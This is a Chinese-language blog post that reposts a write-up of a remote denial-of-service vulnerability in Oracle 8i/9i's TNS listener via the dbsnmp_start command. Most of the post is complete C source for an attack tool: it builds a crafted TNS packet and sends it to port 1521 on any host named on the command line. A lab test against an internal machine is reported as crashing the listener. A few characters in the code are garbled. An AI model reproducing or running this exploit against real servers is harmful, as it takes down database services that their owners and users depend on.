Chinaunix首页 | 论坛 | 博客
  • 博客访问: 53686
  • 博文数量: 20
  • 博客积分: 1240
  • 博客等级: 中尉
  • 技术积分: 270
  • 用 户 组: 普通用户
  • 注册时间: 2008-05-02 09:47
文章存档

2010年(1)

2009年(5)

2008年(14)

我的朋友
最近访客

分类: WINDOWS

2008-05-03 19:36:38

Oracle 8i dbsnmp命令远程拒绝服务漏洞
tomqq 4/13/2006
1、 概述
Oracle 8i存在一个安全漏洞,可以使攻击者对服务器程序造成拒绝服务攻击。如果LSNRCTL命令:dbsnmp_start和dbsnmp_stop(Oracle文档上说这些命令只应该在本地使用)中的任意一个命令被发送到远程的TNS监听服务,服务器程序就会发生内存错误,攻击者可能利用这个漏洞使服务器进程崩溃。结合其他漏洞,甚至可能执行任意指令。
 
2、 影响系统
Oracle Oracle8i 8.1.7.1
Oracle Oracle8i 8.1.7
Oracle Oracle8i 8.1.6
Oracle Oracle8i 8.1.5
Oracle Oracle8i 8.0.6
Oracle Oracle8i 8.0.5
Oracle Oracle8i 8.0.4
Oracle Oracle8i 8.0.2
Oracle Oracle8i 8.0.1
Oracle Oracle9i
 
3、 真机验证
有2台机器作为测试用机。215装有Oracle服务端,版本是8.1.7。首先,使用VC6编译攻击工具,得到test2.exe,运行:c:\test2 192.168.2..215


查看被攻击机器215,如图:

TNS服务被终止,使用Oracle客户端工具已经无法再连接数据库,攻击有效。
在第四帧攻击端发出了攻击串。

附:攻击程序

//benjurry(benjurry@263.net) 提供了如下测试程序:


#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <stdlib.h>
#pragma comment (lib,"Ws2_32")
#define PORT 1521

#define buffsize2 buffsize+180
int main(int argc, char *argv[])
{


char cmd1[]="(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=dbsnmp_start)";
char cmd2[]="(VERSION=1)))";
char head[]="\x00\x59\x00\x00\x01\x00\x00\x00\x01\x36"
"\x01\x2c\x00\x00\x08\x00\x7f\xff\x7f\x08\x00\x00\x00\x01"
"\x00\x1f\x00\x3a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x34\xe6\x00\x00\x00\x01\x00\x00"
"\x00\x00\x00\x00\x00\x00";

char buffer2[200];
int ret;
int packetlength;
int cmdlength;
int tt;

WSADATA WSAData;
struct hostent?*ht;
struct sockaddr_in?server;

printf("Oracle dbsnmp command Remote Vulnerability discoveried by Benjurry\n");
printf("Code by benjurry,benjurry@263.net\n");
printf("www.xfocus.org?www.benjurry.org\n");
if(argc<2)
{
printf("useage:%s target\n",argv[0]);
exit(1);
}
tt=sizeof(head);

packetlength=58+sizeof(cmd1)+sizeof(cmd2)-2;


cmdlength=sizeof(cmd1)+sizeof(cmd2)-2;

memcpy(buffer2,head,sizeof(head)-1);
memcpy(buffer2+sizeof(head)-1,cmd1,sizeof(cmd1)-1);
memcpy(buffer2+sizeof(head)-1+sizeof(cmd1)-1,cmd2,sizeof(cmd2));



buffer2[0]=packetlength>> 8;
buffer2[1]=packetlength & 0xff;
buffer2[24]=cmdlength>>8;
buffer2[25]=cmdlength& 0xff;





if((tt=WSAStartup(MAKEWORD(1,1), &WSAData)) != 0)
{
printf("WSAStartup failed.\n");
tt=GetLastError();
WSACleanup();
exit(1);
}
if((ht = gethostbyname(argv[1]))==0)
{
printf("Unable to resolve host %s\n",argv[1]);
exit(1);
}
server.sin_port = htons(PORT);
server.sin_family=AF_INET;
server.sin_addr=*((struct in_addr *)ht->h_addr);
if((ret = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("Unable to set up socket\n");
exit(1);
}?

if((connect(ret, (struct sockaddr *) &server, sizeof(server))) == -1)
{
printf("Unable to connect\n");
exit(1);
}
else
printf("Connected.\n");
//if(send(ret, tnsping, 100, 0) == -1)


if(send(ret, buffer2, packetlength, 0) == -1)
{
printf("Unable to send\n");
exit(1);
}
else
{
printf("code sented...\n");

}
Sleep(1000);
closesocket(ret);
return 0;


}

阅读(332) | 评论(0) | 转发(0) |
0

上一篇:没有了

下一篇:Oracle 9i TNS远程拒绝服务攻击漏洞

给主人留下些什么吧!~~